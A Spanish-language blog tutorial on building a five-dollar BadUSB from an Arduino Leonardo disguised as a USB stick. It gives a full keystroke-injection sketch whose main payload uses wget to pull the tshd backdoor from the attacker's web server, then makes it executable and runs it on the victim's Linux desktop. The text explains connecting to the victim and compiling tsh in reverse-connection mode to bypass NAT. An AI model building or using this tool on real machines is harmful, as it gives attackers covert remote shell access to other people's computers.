Los BadUsbs están de moda desde la aparición del rubber-ducky, este usb es capaz de interpretar unos script muy sencillos y ejecutar pulsaciones de teclado en el host, en este articulo vamos a crear un BadUsb sin las capacidades de scripting, esto nos dará un mayor control ya que utilizaremos directamente las librerias de teclado de Arduino, además nos costará 5$ y no 45$ que es lo que piden por el RubberDucky.
El primer paso es hacerse con el hardware correcto, se trata de un Arduino Leonardo dentro de una cajita metálica haciéndose pasar por un usb. Lo podemos comprar en aliexpress por el módico precio de 5$:
El siguiente paso es descargarse el IDE de Arduino:
https://www.arduino.cc/en/Main/Software
Ahora las librerias de teclado con soporte para español:
git clone https://github.com/ernesto-xload/arduino_keyboardlib.git
#define kbd_es_es
Con todo esto ya estamos listos para la acción, como ejemplo podemos tomar este código:
// https://www.arduino.cc/en/Reference/KeyboardModifiers
#define TSH 0
#define WALLMATE 1
#define AWESOME 2
#include "Keyboard.h"
// change this to match your payload:
int platform = TSH;
void setup() {
Keyboard.begin();
}
void loop() {
// necessary for SO to recognize keyboard
delay(3000);
switch (platform) {
case TSH:
// Download tshd binary
Keyboard.press(KEY_LEFT_ALT);
delay(100);
Keyboard.press(KEY_F2);
delay(100);
Keyboard.release(KEY_F2);
delay(100);
Keyboard.release(KEY_LEFT_ALT);
delay(100);
// RX4 ~/tsh-0.6> python -m SimpleHTTPServer 8888
Keyboard.print("wget 192.168.20.114:8888/tshd -O /tmp/tshd");
for (int i=0; i <= 7; i++){
Keyboard.press(KEY_TAB);
Keyboard.release(KEY_TAB);
}
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(2000);
// Assign permissions
Keyboard.press(KEY_LEFT_ALT);
delay(100);
Keyboard.press(KEY_F2);
delay(100);
Keyboard.release(KEY_F2);
delay(100);
Keyboard.release(KEY_LEFT_ALT);
delay(100);
Keyboard.print("chmod 777 /tmp/tshd");
for (int i=0; i <= 7; i++){
Keyboard.press(KEY_TAB);
Keyboard.release(KEY_TAB);
}
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(2000);
// Execute fucking awesome tool
Keyboard.press(KEY_LEFT_ALT);
delay(100);
Keyboard.press(KEY_F2);
delay(100);
Keyboard.release(KEY_F2);
delay(100);
Keyboard.release(KEY_LEFT_ALT);
delay(100);
Keyboard.print("/tmp/tshd");
for (int i=0; i <= 7; i++){
Keyboard.press(KEY_TAB);
Keyboard.release(KEY_TAB);
}
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(2000);
break;
case WALLMATE:
// Download image
Keyboard.press(KEY_LEFT_ALT);
delay(100);
Keyboard.press(KEY_F2);
delay(100);
Keyboard.release(KEY_F2);
delay(100);
Keyboard.release(KEY_LEFT_ALT);
delay(100);
Keyboard.print("wget https://i.imgflip.com/1dv8ac.jpg -O /tmp/quacked.jpg");
delay(1000);
/*for (int i=0; i <= 1; i++){
Keyboard.press(KEY_TAB);
Keyboard.release(KEY_TAB);
}
Keyboard.write(' ');*/
for (int i=0; i <= 7; i++){
Keyboard.press(KEY_TAB);
Keyboard.release(KEY_TAB);
}
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(2000);
// Set wallpaper
Keyboard.press(KEY_LEFT_ALT);
delay(100);
Keyboard.press(KEY_F2);
delay(100);
Keyboard.release(KEY_F2);
delay(100);
Keyboard.release(KEY_LEFT_ALT);
delay(100);
Keyboard.print("gsettings set org.mate.background picture-filename '/tmp/quacked.jpg'");
delay(1000);
/*for (int i=0; i <= 1; i++){
Keyboard.press(KEY_TAB);
Keyboard.release(KEY_TAB);
}
Keyboard.write(' ');*/
for (int i=0; i <= 7; i++){
Keyboard.press(KEY_TAB);
Keyboard.release(KEY_TAB);
}
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
break;
case AWESOME:
Keyboard.press(KEY_LEFT_GUI);
Keyboard.write(KEY_RETURN);
delay(1000);
Keyboard.releaseAll();
Keyboard.print("You have been Kr0med!!");
}
// do nothing:
while (true);
}
Según el payload elegido el usb ejecutará unas acciones u otras, para el payload tsh debemos tener nuestro tsh compilado y arrancar un servidor web para que el wget pueda bajarse el binario:
tar xvzf tsh-0.6.tgz
cd tsh-0.6
make linux
Arrancamos el servidor web:
Ahora cuando se baje el binario aparecerá una entrada en la consola donde lanzamos el servidor web, pudiendo asà conectar con la vÃctima, si la vÃctima está nateada obviamente esto no funcionará, lo que podemos hacer es compilar tsh en modo “conexión reversa” asà será ella quien conecte con nosotros burlando el NAT.